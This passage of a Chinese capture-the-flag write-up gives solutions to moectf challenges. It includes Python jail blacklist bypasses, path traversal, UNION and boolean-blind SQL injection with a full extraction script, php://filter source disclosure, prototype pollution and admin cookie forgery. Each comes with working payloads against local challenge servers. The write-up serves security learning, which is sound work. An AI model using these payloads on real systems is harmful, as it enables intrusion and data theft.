sock.settimeout(2)
buf = ""

while True:
chunk = recv_some(sock)
if not chunk:
break
buf += chunk
sys.stdout.write(chunk)
sys.stdout.flush()

if m := flag_re.search(buf):
print()
print(m.group(0))
return 0

if m := captcha_re.search(buf):
ans = m.group(1) + m.group(2) + "\n"
sock.sendall(ans.encode())
buf = ""
continue

if "Give me your code:" in buf:
sock.sendall((payload + "\n").encode())
buf = ""

return 0

if __name__ == "__main__":
raise SystemExit(main())
1
moectf{3c4b8dde-5438-b856-0b73-a6cd58a5c394}

ez_b4n_jail

核心逻辑如下

1
2
3
4
5
6
7
8
9
10
11
code = base64.b64decode(user_input).decode('ascii')
tree = ast.parse(code)
visitor = RestrictedNodeVisitor()
visitor.visit(tree)

for word in blacklist:
if word in code:
print('Hacker!')
return

exec(code)

AST 检查只禁止了visit_Import和visit_ImportFrom

也就是不能直接写

1
2
import os
from os import system

后面还有关键词黑名单

1
['os','exec','eval','open','file','breakpoint','sys','help']

这个黑名单是直接在源码字符串中做子串匹配,因此只要源码里不连续出现这些敏感词,就可以绕过。

目标是读取 /tmp/flag。虽然源码里不能出现 open,但 Python 的内建对象里本来就有 open,可以用 chr() 动态拼出属性名

1
chr(111)+chr(112)+chr(101)+chr(110)

它运行时等价于

1
open

远端环境中 builtins 是 module,所以使用 getattr 获取内建函数

1
print(getattr(**builtins**,chr(111)+chr(112)+chr(101)+chr(110))('/tmp/flag').read())

这段源码中没有出现黑名单里的 open 字符串,也没有 import 语句,因此可以通过检查。

最终发送给程序前还要 base64

1
cHJpbnQoZ2V0YXR0cihfX2J1aWx0aW5zX18sY2hyKDExMSkrY2hyKDExMikrY2hyKDEwMSkrY2hyKDExMCkpKCcvdG1wL2ZsYWcnKS5yZWFkKCkp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
import base64
import re
import socket
import sys
import time

HOST = "127.0.0.1"
PORT = 15058

PAYLOAD = (
"print(getattr(__builtins__,chr(111)+chr(112)+chr(101)+chr(110))"
"('/tmp/flag').read())"
)

def recv_until(sock, predicate, timeout=8.0):
deadline = time.time() + timeout
data = b""
while time.time() < deadline:
try:
chunk = sock.recv(4096)
except socket.timeout:
continue
if not chunk:
break
data += chunk
text = data.decode("utf-8", "replace")
if predicate(text):
return text
return data.decode("utf-8", "replace")

def main():
host = sys.argv[1] if len(sys.argv) > 1 else HOST
port = int(sys.argv[2]) if len(sys.argv) > 2 else PORT

with socket.create_connection((host, port), timeout=5) as sock:
sock.settimeout(0.5)

banner = recv_until(sock, lambda s: "continue:" in s)
robot = re.search(r"'([^']+)'\+'([^']+)'\s*=\?", banner)
if robot:
answer = robot.group(1) + robot.group(2)
sock.sendall((answer + "\n").encode())

recv_until(sock, lambda s: "base64 encoded:" in s)
encoded = base64.b64encode(PAYLOAD.encode("ascii")).decode("ascii")
sock.sendall((encoded + "\n").encode())

output = recv_until(sock, lambda s: re.search(r"[A-Za-z0-9_]*ctf\{[^}]+\}", s, re.I), timeout=8.0)
flag = re.search(r"[A-Za-z0-9_]*ctf\{[^}]+\}", output, re.I)
if flag:
print(flag.group(0))
else:
print(output)

if __name__ == "__main__":
main()
1
moectf{a68dbfd8-56c5-c5c2-1193-1a1135db3959}

only_open

chall.py 只给了 open,并且禁了 _、.、\\

1
2
3
4
5
safe_globals = {
'open': open,
'__builtins__': {}
}
blacklist = ['_','.','\\']

所以常规的 open('/tmp/flag').read() 直接没法写,因为点号被拦了。

文件对象本身是可迭代的,for x in open('/tmp/flag') 能逐行读出内容。

再利用字典取值时的 KeyError,异常信息会把 key 原样带出来

1
{}[x]

把两者拼起来就能把 flag 作为异常内容打出来

1
[{}[x] for x in open('/tmp/flag')]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import re
import socket

HOST = "127.0.0.1"
PORT = 53644
PAYLOAD = b"[{}[x]for x in open('/tmp/flag')]\n"

def recv_until(sock: socket.socket, needle: bytes, timeout: float = 1.0) -> bytes:
sock.settimeout(timeout)
buf = bytearray()
while needle not in buf:
try:
chunk = sock.recv(4096)
except TimeoutError:
break
if not chunk:
break
buf.extend(chunk)
return bytes(buf)

def solve_robot(text: str) -> str | None:
m = re.search(r"enter '([^']*)'\+'([^']*)'=\?", text)
return m.group(1) + m.group(2) if m else None

with socket.create_connection((HOST, PORT), timeout=5) as s:
seen_prompts: set[str] = set()
out = bytearray()
sent_payload = False
idle_rounds = 0
s.settimeout(1)

while True:
try:
chunk = s.recv(4096)
except TimeoutError:
chunk = b""

if chunk:
idle_rounds = 0
out.extend(chunk)
text = out.decode("utf-8", errors="replace")

for m in re.finditer(r"enter '([^']*)'\+'([^']*)'=\?", text):
prompt = m.group(0)
if prompt not in seen_prompts:
seen_prompts.add(prompt)
s.sendall((m.group(1) + m.group(2) + "\n").encode())

if not sent_payload and "Give me your code" in text:
s.sendall(PAYLOAD)
sent_payload = True
else:
idle_rounds += 1
if sent_payload and idle_rounds >= 2:
break

text = out.decode("utf-8", errors="replace")
m = re.search(r"moectf\{[^}]+\}", text)
print(m.group(0) if m else text, end="")
1
moectf{aa77827c-69bf-92dd-fd2e-74a73f0659a9}

Web安全与渗透测试

查分系统

静态网页直接搜索

image\.png

1
moectf{y0u_c@n_reAd_th3_h+nn1}

Web 安全与渗透测试入门指北

打开就有

image\.png

1
moectf{W3Lc0me_t0_th3_W0rLd_0f_w3BseCur1ty!!}

归途

好家伙,一张图三个key

image\.png

Key2

在 HTML 源码中发现注释:

Text
1
-QDBtNG9k

Key1

首页源码里还有两段 eval(function...) 混淆 JS。

其中一段解混淆后是:

Text
1
console.log("Key1-N2ghNUkkTQ==");

所以控制台里会输出:

Text
1
Key1-N2ghNUkkTQ==

Key3

首页 JS 中还有一段请求:

Text
1
fetch("/getKey?id=3", { cache: "no-store" });

访问:

Text
1
http://127.0.0.1:28863/getKey?id=3

返回:

Text
1
2
3
4
{
"key": "Key3-M0szeUVuKw==",
"message": "Do you know url params? Try to get Key4"
}

image\.png

Text
1
Key3-M0szeUVuKw==

Key4

提示说:

Text
1
Try to get Key4

于是把参数改成:

Text
1
http://127.0.0.1:28863/getKey?id=4

返回:

Text
1
2
3
4
{
"key": "Key4-ZXJUaDFzbGE=",
"message": "Do you know HTTP headers? Check it. Besides, Try to POST this api"
}

image\.png

Text
1
Key4-ZXJUaDFzbGE=

Key5

Key4 的提示说:

Text
1
Do you know HTTP headers? Check it.

所以检查 /getKey?id=4 的响应头,可以看到:

Text
1
key: Key5-ITkzdA==

image\.png

Text
1
Key5-ITkzdA==

Key6

Key4 的提示还说:

Text
1
Try to POST this api

所以对 /getKey 发 POST 请求:

Text
1
Invoke-WebRequest -Uri "http://127.0.0.1:28863/getKey" -Method Post -UseBasicParsing

返回:

Text
1
2
3
4
{
"key": "Key6-ZnwxbGFA",
"message": "Try login!"
}

QQ\_1786288843593\.png

Text
1
Key6-ZnwxbGFA

Key7

根据提示访问:

Text
1
http://127.0.0.1:63875/login

页面直接给出了 guest 账号密码:

Text
1
2
用户名:guest
密码:p@33vv0rd

登录成功后页面提示

image\.png

说明下一步要改 Cookie。登录后 Cookie 中有:

Text
1
user=guest

题目提示要登录 admin,于是尝试伪造管理员身份:

Text
1
Cookie: user=admin; role=admin

image\.png

Text
1
Key7-NGFAZzY5Nmc5

Key7 页面提示:

Text
1
有一个文件限制了爬虫可以访问的内容,是什么呢?

访问http://127\.0\.0\.1:28863/robots\.txt

image\.png

提交完整钥匙

接着访问http://127\.0\.0\.1:28863/f13ggggg

所有 Key 如下:

Text
1
2
3
4
5
6
7
Key1-N2ghNUkkTQ==
Key2-QDBtNG9k
Key3-M0szeUVuKw==
Key4-ZXJUaDFzbGE=
Key5-ITkzdA==
Key6-ZnwxbGFA
Key7-NGFAZzY5Nmc5

只取 KeyX- 后面的部分做 base64 解码:

Text
1
2
3
4
5
6
7
N2ghNUkkTQ==  -> 7h!5I$M
QDBtNG9k -> @0m4od
M0szeUVuKw== -> 3K3yEn+
ZXJUaDFzbGE= -> erTh1sla
ITkzdA== -> !93t
ZnwxbGFA -> f|1la@
NGFAZzY5Nmc5 -> 4a@g696g9

按照 Key 编号从 1 到 7 拼接解码结果:

Text
1
7h!5I$M@0m4od3K3yEn+erTh1sla!93tf|1la@4a@g696g9

提交正确后页面返回

image\.png

Text
1
moectf{571c16e5-81ce-e760-86a8-65e192c12456}

当零来敲门

Text
1
2
3
聊天室服务器: http://127.0.0.1:6525
本地 Python 服务: ssh challenger@127.0.0.1 -p 6528
密码: moectf2026

进入 Python 服务后,请求地址需要改成:

Text
1
http://127.0.0.1:8080/<uri>

访问聊天室页面,可以看到

image\.png

前端核心逻辑:

Text
1
2
3
4
5
6
7
const ws = new WebSocket(`${protocol}//${window.location.host}/ws`);

await fetch('/chat', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({user: u, msg: m})
});

也就是说:

  • POST /chat 用于发送报数。

  • /ws 是 WebSocket,用于接收聊天室消息和当前进度。

  • 每次发送的数据格式为 JSON:

Text
1
2
3
4
{
"user": "挑战者",
"msg": 1
}

测试发送:

Text
1
2
3
4
POST /chat
Content-Type: application/json

{"user":"Sonh","msg":1}

正常时返回:

Text
1
{"status":"success"}

当第 500 个数字发送成功时,接口返回:

Text
1
{"status":"win"}

随后系统会在 WebSocket 里广播 Flag。

连接本地 Python 服务:

Text
1
ssh challenger@127.0.0.1 -p 6528

密码:moectf2026

登录后会直接进入 Python REPL。

先导入库并定义发送函数:

Text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib.request, json, time

base = 'http://127.0.0.1:8080'

def post(n):
data = json.dumps({
'user': 'Sonh',
'msg': n
}).encode()

req = urllib.request.Request(
base + '/chat',
data=data,
headers={'Content-Type': 'application/json'},
method='POST'
)

return urllib.request.urlopen(req, timeout=3).read().decode()

然后连续报数:

Text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
for attempt in range(1, 20):
start = time.time()
fail = None
win = None

for i in range(1, 501):
r = post(i)

if r.strip() == '{"status":"win"}':
win = i
print('[+] win at', i, r)
break

if 'success' not in r:
fail = (i, r)
break

print('attempt:', attempt, 'elapsed:', time.time() - start, 'fail:', fail)

if win:
break

time.sleep(0.2)

image\.png

Text
1
moectf{pyTHON_lANgu@Ge-ls_s0-51MPIE_thAT_wE-CAn_maK3_Some-small-and-practical-tools0}

查分系统_revenge

题目把密文和解密逻辑都放在前端,密钥空间只有 8 位数字,直接离线爆破即可

题目给了一个成绩查询页面 system_rev.html,直接查看源码可以看到前端保存了一组加密后的学生数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const commonIv = "bW9lY3RmMjAyNml2";

async function makeKey(password) {
const raw = new TextEncoder().encode(password);
const hash = await crypto.subtle.digest("SHA-256", raw);
return crypto.subtle.importKey("raw", hash, { name: "AES-GCM" }, false, ["decrypt"]);
}

async function tryDecrypt(record, sid) {
const key = await makeKey(sid);
const iv = b64ToBytes(commonIv);
const data = b64ToBytes(record["数据"]);
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data);
const student = JSON.parse(new TextDecoder().decode(plain));
if (String(student["学号"]) !== sid) throw new Error("mismatch");
return student;
}

可以确定:

  • IV 是固定的:bW9lY3RmMjAyNml2,base64 解码为 moectf2026iv

  • 密钥是 SHA-256(学号)

  • 学号限制为 8 位数字

  • 每条数据用对应学号加密,解密后会校验 student["学号"] === sid

所以解法就是离线爆破 8 位数字学号。先按密文长度排序,发现第 46 条明显最长,猜测可能是 flag 行,优先爆破它。

Node.js 脚本核心如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const fs = require("fs");
const crypto = require("crypto");

const html = fs.readFileSync("system_rev.html", "utf8");
const re = /^\s*".*": "([A-Za-z0-9+/=]{200,})"/mg;

const recs = [];
let m;
while ((m = re.exec(html)) !== null) {
recs.push(Buffer.from(m[1], "base64"));
}

const iv = Buffer.from("bW9lY3RmMjAyNml2", "base64");
const record = recs[46];

for (let n = 0; n < 100000000; n++) {
const sid = String(n).padStart(8, "0");
const key = crypto.createHash("sha256").update(sid).digest();

const tag = record.subarray(record.length - 16);
const enc = record.subarray(0, record.length - 16);

try {
const dec = crypto.createDecipheriv("aes-256-gcm", key, iv);
dec.setAuthTag(tag);
const plain = Buffer.concat([dec.update(enc), dec.final()]).toString();

if (plain.includes("学号")) {
console.log(sid);
console.log(plain);
break;
}
} catch {}
}

爆破得到:

Text
1
sid = 25178346

解密内容里 折合 字段就是 flag:

Text
1
moectf{y0u_c@n_reAd_th3_htmI_Annmnd_Buwuuurp_1IllIIlIIl11llII}

古籍翻阅

一开始打开首页,看到的是一个“天一藏经阁”的目录页,里面列了 1000 本书

image\.png

题目附件 guji_catalog.txt 也正好是这份目录的书目清单,乍看像是要从里面慢慢翻(其实是爆破字典)

先试了几个正常书目,结果都 404,只有一个特殊项能读:

Text
1
/read?book=true_file

返回内容

image\.png

接着直接往上跳目录测试,最后发现三层 ../ 就能跳到真正的根目录并读到 flag:

Text
1
/read?book=true_file/../../../flag

image\.png

Text
1
moectf{re@d_the_r00t_5utr4_w1th_path_tr4v3r5@l}

河湖小盗

访问首页后,页面是一个“往年试题检索系统”,提供了一个按序号查询的功能。

image\.png

表单如下:

Text
1
2
3
4
<form method="post" action="/" class="search-form">
<input id="id" name="id" placeholder="例如:1">
<button type="submit">查询</button>
</form>

说明后端会接收 POST 参数 id,并根据该参数查询数据库。

正常提交:

Text
1
id=1

页面返回:

Text
1
2
3
序号: 1
登记人: 林舟
公开科目: 高等数学

测试布尔条件:

Text
1
1 and 1=1

返回正常记录。

继续测试:

Text
1
1 and 1=2

返回:

Text
1
没有找到匹配记录。

说明 id 参数存在数字型 SQL 注入。

使用 order by 判断查询列数:

Text
1
2
3
1 order by 1
1 order by 2
1 order by 3

均正常返回。

继续测试:

Text
1
1 order by 4

返回无结果。

说明原查询语句有 3 个字段。

测试三列联合查询:

Text
1
-1 union select 1,2,3

页面成功回显:

image\.png

说明可以使用 UNION SELECT 注入,并且页面三列都可回显。

测试 MySQL 常见函数:

Text
1
-1 union select 1,version(),3

image\.png

测试当前数据库名:

Text
1
-1 union select 1,database(),3

image\.png

可以确认数据库为 MySQL,当前数据库名为 past_paper。

使用 information_schema.tables 枚举当前数据库中的表:

Text
1
2
3
-1 union select 1,group_concat(table_name),3
from information_schema.tables
where table_schema=database()

image\.png

发现三个表:

Text
1
2
3
flag_table
past_paper
public_subjects

其中 flag_table 明显是目标表。

查询 flag_table 的字段:

Text
1
2
3
4
-1 union select 1,group_concat(column_name),3
from information_schema.columns
where table_schema=database()
and table_name='flag_table'

image\.png

顺便查看真正的试题表字段:

Text
1
2
3
4
-1 union select 1,group_concat(column_name),3
from information_schema.columns
where table_schema=database()
and table_name='past_paper'

image\.png

直接查询 flag_table:

Text
1
-1 union select id,flag,3 from flag_table

image\.png

Text
1
moectf{h3re_i5_your_7e$7_pap3r}

七狗免费小说

先打开首页,能看到源码泄露在隐藏的 highlight_file(FILE) 里。

image\.png

这说明可以控 file 参数,但有黑名单。直接读 flag.php 只能看到提示

image\.png

说明真正的 flag 不在页面输出里,而在 flag.php 源码里。

常规的 php://filter/convert.base64-encode/resource=flag.php 被 convert 卡死了,不能直接走源码读取。

image\.png

于是我试了别的 filter,发现 zlib.deflate 没被禁。

Text
1
?file=php://filter/read=zlib.deflate/resource=flag.php

image\.png

页面会把压缩后的二进制结果判成非 UTF-8,然后自动 base64_encode() 输出。

把返回值 base64 解码,再做 deflate 解压,就能还原 flag.php 源码,得到 flag

1
2
3
4
5
6
7
8
9
import re, base64, zlib, requests

url = 'http://127.0.0.1:57584/?file=php://filter/read=zlib.deflate/resource=flag.php'
html = requests.get(url).text
m = re.search(r'<div>\s*<hr>\s*(.*?)\s*</div>', html, re.S)
payload = re.sub(r'<[^>]+>\s*', '', m.group(1)).replace('\n', '').replace('\r', '').strip()

data = base64.b64decode(payload)
print(zlib.decompress(data, -15).decode())
1
moectf{dd9356eb-4ddc-0605-419a-3313c37a6c28}

合乎周礼

首页 GET / 直接给了接口:

image\.png

/api/help 说明得很直白

1
2
3
4
5
6
7
8
9
{
"name": "配置中心",
"routes": {
"GET /": "题目描述",
"GET /api/me": "查看当前用户的配置",
"POST /api/profile": "提交 JSON 配置",
"GET /api/flag": "只有审核 isAdmin=true 且 canReadFlag=true 时返回 FLAG"
}
}

先看 GET /api/me默认配置是

Text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"ok": true,
"profile": {
"profile": {
"nickname": "guest"
},
"theme": {
"color": "blue"
}
},
"inheritedProbe": {
"isAdmin": null,
"canReadFlag": null
}
}

这说明服务端在检查属性时,明显考虑了“继承链”上的值,不只是对象自身属性。题目文案里一直在讲“父子、继承、约束”,就是在暗示 JavaScript 原型链污染。

先正常提交一次配置:

Text
1
2
3
4
{
"profile": { "nickname": "alice" },
"theme": { "color": "red" }
}

返回里有一个很关键的字段

image\.png

接着试经典的原型污染入口:

Text
1
2
3
4
5
6
{
"__proto__": {
"isAdmin": true,
"canReadFlag": true
}
}

image\.png

服务端在处理 JSON 时,存在把 proto 合并进对象原型链的漏洞,导致后续属性查找命中了原型上的值。

1
2
Invoke-WebRequest -Uri 'http://127.0.0.1:54424/api/profile' -Method Post -ContentType 'application/json' -Body '{"__proto__":{"isAdmin":true,"canReadFlag":true}}' -UseBasicParsing
Invoke-WebRequest -Uri 'http://127.0.0.1:54424/api/flag' -UseBasicParsing | Select-Object -ExpandProperty Content

image\.png

1
moectf{0n3_pr070type_chan9e_@|l_06j3c7$_o8ey}

江洋大盗

附件 blacklist.txt 里给了黑名单

image\.png

首页提交 id=1 时,正常返回一条记录

提交一些布尔表达式后,页面会根据真假返回不同结果:

1 or 1=1,返回全部记录

1 and 1=2,无记录

说明参数 id 被直接拼进了 SQL 语句,且可以做布尔盲注。

测试了几个数据库特征函数:

1 and @@version 返回真

1 and sqlite_version() 返回假

结合 @@version 这个写法,可以判断是 MySQL / MariaDB 风格数据库。

因为黑名单没有封掉 select、from、information_schema,所以可以直接尝试子查询:

1 and (select 1) 返回真

1 and (select count(*) from information_schema.tables)>0 也返回真

接着可以利用 information_schema 枚举数据库结构。

通过盲注统计当前库表数量:

Text
1
1 and (select count(*) from information_schema.tables where table_schema=database())>2

表数量大于 2 为真,表数量大于 3 为假,所以当前库里有 3 张表。

接着用 group_concat(table_name ...) 把表名枚举出来,得到:

flag_table

past_paper

public_subjects

继续枚举字段名:

flag_table 的列:

  • id

  • flag

past_paper 的列:

  • id

  • title

  • note

public_subjects 的列:

  • id

  • name

  • subject

锁定 flag 就在 flag_table.flag。

最后直接读取:

Text
1
select flag from flag_table limit 1

用布尔盲注逐字符提取后,得到 flag

ai给的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import urllib.request 
import urllib.parse

url = "http://127.0.0.1:45236/"

def check(payload):
data = urllib.parse.urlencode({"id": payload}).encode()
req = urllib.request.Request(url, data=data, method="POST")
res = urllib.request.urlopen(req).read()
return b"<td>1</td>" in res

def get_length(expr, max_len=200):
l, r = 0, max_len
while l < r:
mid = (l + r) // 2
payload = f"1 and length(({expr}))>{mid}"
if check(payload):
l = mid + 1
else:
r = mid
return l

def get_char(expr, pos):
l, r = 32, 126
while l < r:
mid = (l + r) // 2
payload = f"1 and ascii(substr(({expr}),{pos},1))>{mid}"
if check(payload):
l = mid + 1
else:
r = mid
return chr(l)

def dump(expr):
length = get_length(expr)
print("[+] length =", length)

result = ""
for i in range(1, length + 1):
ch = get_char(expr, i)
result += ch
print(f"[+] {i}/{length}: {result}")

return result

expr = "select flag from flag_table limit 1"

flag = dump(expr)

print()
print("[+] FLAG =", flag)
Text
1
moectf{C0ngr@+u1@7|0ns_8u+_+h3re_wou1d_not_6e_any_pas7_3x@m_pap3r_in_f4ct}